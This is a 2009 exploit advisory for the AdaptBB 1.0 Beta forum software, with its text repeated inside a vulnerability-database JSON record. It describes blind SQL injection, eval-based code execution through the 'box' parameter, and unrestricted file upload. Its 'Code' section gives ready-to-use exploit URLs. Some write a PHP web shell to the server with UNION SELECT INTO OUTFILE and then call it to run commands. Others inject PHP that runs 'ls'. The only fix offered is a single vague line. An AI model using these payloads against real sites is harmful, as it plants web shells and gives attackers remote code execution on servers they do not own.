******* Salvatore "drosophila" Fresta *******
[+] Application: AdaptBB
[+] Version: 1.0 Beta
[+] Website: http://sourceforge.net/projects/adaptbb/
[+] Bugs: [A] Multiple Blind SQL Injection
[B] Multiple Dynamic Code Execution
[C] Arbitrary File Upload
[+] Exploitation: Remote
[+] Date: 09 Apr 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com
*************************************************
[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
- [A] Multiple Blind SQL Injection
[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: almost all of the files are
vulnerable
This bug allows a guest to execute arbitrary SQL
queries.
- [B] Multiple Dynamic Code Execution
[-] Risk: hight
[-] File affected: almost all of the files are
vulnerable
This bug allows a guest to execute arbitrary php
code.
...
if ($_GET['box']) {
$folder = $_GET['box'];
}
...
$ddata[] = ucwords($folder);
...
eval (" ?> ".str_replace($cdata, $ddata,
stripslashes(template($view."_header")))." <?php ");
...
- [C] Arbitrary File Upload
[-] Risk: hight
[-] File affected: attach.php
This bug allows a registered user to upload
arbitrary files and to execute them from
inc/attachments directory. This is possible
because there are no controls on file extension
on the server side but only on the client side.
*************************************************
[+] Code
- [A] Multiple Blind SQL Injection
http://site/path/inc/attach.php?id=-1' UNION ALL SELECT '<?php
system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE
'/var/www/htdocs/path/rce.php'%23
http://site/path/index.php?do=profile&user=blabla&box=-1' UNION ALL
SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE
'/var/www/htdocs/path/rce.php'%23
http://site/path/index.php?do=messages&user=blabla&box=-1' UNION ALL
SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE
'/var/www/htdocs/path/rce.php'%23
http://site/path/index.php?do=edit_post&id=-1' UNION ALL SELECT '<?php
system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8,9 INTO OUTFILE
'/var/www/htdocs/path/rce.php'%23
To execute commands:
http://site/path/rce.php?cmd=uname -a
- [B] Multiple Dynamic Code Execution
http://www.site.com/path/index.php?do=profile&user=blabla&box=<?php
echo "<pre>"; system('ls'); echo "</pre>"?>
http://www.site.com/path/index.php?do=messages&user=blabla&box=<?php
echo "<pre>"; system('ls'); echo "</pre>"?>
*************************************************
[+] Fix
To fix them you must check the input properly.
However is not recommended to store your real
username and password in the cookies.
*************************************************
--
Salvatore "drosophila" Fresta
CWNP444351
{"id": "SECURITYVULNS:DOC:21607", "bulletinFamily": "software", "title": "AdaptBB 1.0 Beta Multiple Remote Vulnerabilities", "description": "******* Salvatore "drosophila" Fresta *******\r\n\r\n[+] Application: AdaptBB\r\n[+] Version: 1.0 Beta\r\n[+] Website: http://sourceforge.net/projects/adaptbb/\r\n\r\n[+] Bugs: [A] Multiple Blind SQL Injection\r\n [B] Multiple Dynamic Code Execution\r\n [C] Arbitrary File Upload\r\n\r\n[+] Exploitation: Remote\r\n[+] Date: 09 Apr 2009\r\n\r\n[+] Discovered by: Salvatore "drosophila" Fresta\r\n[+] Author: Salvatore "drosophila" Fresta\r\n[+] Contact: e-mail: drosophilaxxx@gmail.com\r\n\r\n\r\n*************************************************\r\n\r\n[+] Menu\r\n\r\n1) Bugs\r\n2) Code\r\n3) Fix\r\n\r\n\r\n*************************************************\r\n\r\n[+] Bugs\r\n\r\n\r\n- [A] Multiple Blind SQL Injection\r\n\r\n[-] Risk: medium\r\n[-] Requisites: magic_quotes_gpc = off\r\n[-] File affected: almost all of the files are\r\nvulnerable\r\n\r\nThis bug allows a guest to execute arbitrary SQL\r\nqueries.\r\n\r\n\r\n- [B] Multiple Dynamic Code Execution\r\n\r\n[-] Risk: hight\r\n[-] File affected: almost all of the files are\r\nvulnerable\r\n\r\nThis bug allows a guest to execute arbitrary php\r\ncode.\r\n\r\n...\r\n\r\nif ($_GET['box']) {\r\n$folder = $_GET['box'];\r\n}\r\n\r\n...\r\n\r\n$ddata[] = ucwords($folder);\r\n\r\n...\r\n\r\neval (" ?> ".str_replace($cdata, $ddata,\r\nstripslashes(template($view."_header")))." <?php ");\r\n\r\n...\r\n\r\n\r\n- [C] Arbitrary File Upload\r\n\r\n[-] Risk: hight\r\n[-] File affected: attach.php\r\n\r\nThis bug allows a registered user to upload\r\narbitrary files and to execute them from\r\ninc/attachments directory. This is possible\r\nbecause there are no controls on file extension\r\non the server side but only on the client side.\r\n\r\n\r\n*************************************************\r\n\r\n[+] Code\r\n\r\n\r\n- [A] Multiple Blind SQL Injection\r\n\r\nhttp://site/path/inc/attach.php?id=-1' UNION ALL SELECT '<?php\r\nsystem($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE\r\n'/var/www/htdocs/path/rce.php'%23\r\n\r\nhttp://site/path/index.php?do=profile&user=blabla&box=-1' UNION ALL\r\nSELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE\r\n'/var/www/htdocs/path/rce.php'%23\r\n\r\nhttp://site/path/index.php?do=messages&user=blabla&box=-1' UNION ALL\r\nSELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE\r\n'/var/www/htdocs/path/rce.php'%23\r\n\r\nhttp://site/path/index.php?do=edit_post&id=-1' UNION ALL SELECT '<?php\r\nsystem($_GET[cmd])%3b ?>',2,3,4,5,6,7,8,9 INTO OUTFILE\r\n'/var/www/htdocs/path/rce.php'%23\r\n\r\nTo execute commands:\r\n\r\nhttp://site/path/rce.php?cmd=uname -a\r\n\r\n\r\n- [B] Multiple Dynamic Code Execution\r\n\r\nhttp://www.site.com/path/index.php?do=profile&user=blabla&box=<?php\r\necho "<pre>"; system('ls'); echo "</pre>"?>\r\n\r\nhttp://www.site.com/path/index.php?do=messages&user=blabla&box=<?php\r\necho "<pre>"; system('ls'); echo "</pre>"?>\r\n\r\n\r\n*************************************************\r\n\r\n[+] Fix\r\n\r\nTo fix them you must check the input properly.\r\nHowever is not recommended to store your real\r\nusername and password in the cookies.\r\n\r\n\r\n*************************************************\r\n\r\n-- \r\nSalvatore "drosophila" Fresta\r\nCWNP444351", "published": "2009-04-10T00:00:00", "modified": "2009-04-10T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:21607", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:29", "edition": 1, "viewCount": 40, "enchantments": {"score": {"value": 0.6, "vector": "NONE"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:9808"]}], "rev": 4}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.6}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645615496, "score": 1659803227}, "_internal": {"score_hash": "2cac8a518df77b5a54ce3a2a356db6d6"}}